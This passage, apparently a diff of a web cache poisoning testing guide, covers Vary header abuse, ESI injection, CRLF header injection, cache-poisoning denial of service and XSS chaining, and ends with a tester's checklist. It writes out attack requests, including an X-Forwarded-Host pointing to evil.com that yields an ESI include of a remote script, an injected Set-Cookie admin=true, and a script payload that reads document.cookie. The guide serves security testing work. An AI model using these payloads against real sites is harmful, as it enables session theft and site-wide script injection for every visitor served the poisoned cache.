+ The `Vary` header tells caches which request headers affect the response. Cache must store separate entries for different values of Vary'd headers.
466
+
467
+ ```http
468
+ HTTP/1.1 200 OK
469
+ Vary: Accept-Encoding, Accept-Language
470
+ ```
471
+
472
+ This means: cache must key on `Accept-Encoding` AND `Accept-Language` values.
473
+
474
+ ### 7.2 Cache Partitioning Attack
475
+
476
+ If `Vary` doesn't include a header that the application uses to generate different content:
477
+
478
+ ```http
479
+ # Application returns different content based on User-Agent:
480
+ GET / HTTP/1.1
481
+ User-Agent: Mozilla/5.0 (mobile)
482
+ → Returns mobile version
483
+
484
+ GET / HTTP/1.1
485
+ User-Agent: Mozilla/5.0 (desktop)
486
+ → Returns desktop version
487
+
488
+ # If Vary does NOT include User-Agent:
489
+ # Cache stores one response for all User-Agent values
490
+ # Attacker can poison mobile users with desktop content (or vice versa)
491
+ ```
492
+
493
+ ### 7.3 Vary Header Injection
494
+
495
+ If attacker can influence the Vary header value:
496
+
497
+ ```http
498
+ # Application sets Vary based on request:
499
+ Vary: Accept-Encoding, X-Custom-Header
500
+
501
+ # If attacker adds X-Custom-Header:
502
+ GET / HTTP/1.1
503
+ X-Custom-Header: unique-value
504
+
505
+ # Cache creates new partition for this unique value
506
+ # Attacker poisons only this partition
507
+ # Then links victim to URL with same X-Custom-Header value
508
+ ```
509
+
510
+ ### 7.4 Vary: * (Wildcard)
511
+
512
+ ```http
513
+ Vary: *
514
+ ```
515
+
516
+ Tells cache to never serve cached version. Some caches respect this, others ignore it.
517
+
518
+ | CDN | Vary: * Behavior |
519
+ |---|---|
520
+ | Cloudflare | Does not cache |
521
+ | CloudFront | Does not cache |
522
+ | Varnish | Depends on VCL config |
523
+ | Nginx | Does not cache (default) |
524
+
525
+ ### 7.5 Missing Vary as a Vulnerability
526
+
527
+ ```
528
+ # Application returns personalized content:
529
+ GET /dashboard HTTP/1.1
530
+ Cookie: session=USER_A_TOKEN
531
+ → Returns User A's dashboard
532
+
533
+ # If response lacks Vary: Cookie AND cache stores it:
534
+ # → User B requests /dashboard → gets User A's cached dashboard
535
+ # This IS cache deception (without the victim needing to visit a crafted URL)
536
+ ```
537
+
538
+ ---
539
+
540
+ ## 8. ADVANCED TECHNIQUES
541
+
542
+ ### 8.1 Cache Poisoning via Error Pages
543
+
544
+ ```http
545
+ # Trigger a 404 with injected content:
546
+ GET /nonexistent%0D%0AX-Injected:%20yes HTTP/1.1
547
+ Host: target.com
548
+
549
+ # If 404 page reflects the requested path and is cached:
550
+ # All users requesting this path get the injected error page
551
+ ```
552
+
553
+ ### 8.2 Edge Side Includes (ESI) Injection
554
+
555
+ ```http
556
+ # If CDN supports ESI and reflects unkeyed input:
557
+ GET / HTTP/1.1
558
+ X-Forwarded-Host: evil.com
559
+
560
+ Response:
561
+ <esi:include src="http://evil.com/xss.html"/>
562
+
563
+ # ESI is processed by the cache/CDN → fetches and includes evil content
564
+ ```
565
+
566
+ ### 8.3 Poisoning via Response Header Injection
567
+
568
+ ```http
569
+ # If unkeyed header is reflected in response headers:
570
+ GET / HTTP/1.1
571
+ X-Custom: value\r\nSet-Cookie: admin=true
572
+
573
+ # Response:
574
+ X-Custom: value
575
+ Set-Cookie: admin=true
576
+
577
+ # Cached → all users get the injected Set-Cookie
578
+ ```
579
+
580
+ ### 8.4 Web Cache Poisoning DoS
581
+
582
+ ```http
583
+ # Poison response to return 403/500/redirect:
584
+ GET / HTTP/1.1
585
+ X-Forwarded-Host: thisdoesnotexist.com
586
+
587
+ # If origin tries to load resources from thisdoesnotexist.com:
588
+ # Response has broken resources → cached → DoS for all users
589
+ ```
590
+
591
+ ### 8.5 Chaining Cache Poisoning + XSS
592
+
593
+ ```http
594
+ # Step 1: Find unkeyed header reflected in HTML
595
+ GET /page HTTP/1.1
596
+ X-Forwarded-Host: "><script>alert(document.cookie)</script>.com
597
+
598
+ # Step 2: Response (if reflected unsanitized):
599
+ <link rel="canonical" href="https://"><script>alert(document.cookie)</script>.com/page">
600
+
601
+ # Step 3: Cache stores this response
602
+ # Step 4: All users visiting /page execute attacker's JavaScript
603
+ ```
604
+
605
+ ---
606
+
607
+ ## 9. TESTING CHECKLIST
608
+
609
+ ```
610
+ □ Identify cache layer and CDN product
611
+ - Check: X-Cache, cf-cache-status, Age, Via, X-Varnish, X-Served-By
612
+ □ Determine cache key composition
613
+ - Test: adding query params, headers, cookies — does cache key change?
614
+ □ Discover unkeyed inputs
615
+ - Headers: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, True-Client-IP
616
+ - Parameters: utm_*, fbclid, gclid, callback, jsonp
617
+ - Body: GET request with body parameters
618
+ □ Check reflection of unkeyed inputs
619
+ - In HTML body, JavaScript, response headers, redirect Location
620
+ □ Verify caching of poisoned response
621
+ - X-Cache: HIT on follow-up clean request
622
+ - Response still contains poison → confirmed
623
+ □ Test parameter cloaking
624
+ - Semicolon separator differences
625
+ - Duplicate parameter handling
626
+ □ Check Vary header
627
+ - Missing Vary: Cookie on personalized content?
628
+ - Can influence Vary header value?
629
+ □ CDN-specific tests
630
+ - ESI support?
631
+ - Debug headers enabled?
632
+ - Cache key reveal features?
633
+ □ Impact assessment
634
+ - Stored XSS via cache poisoning?
635
+ - Account takeover via session fixation?
636
+ - DoS via broken resources?
637
+ ```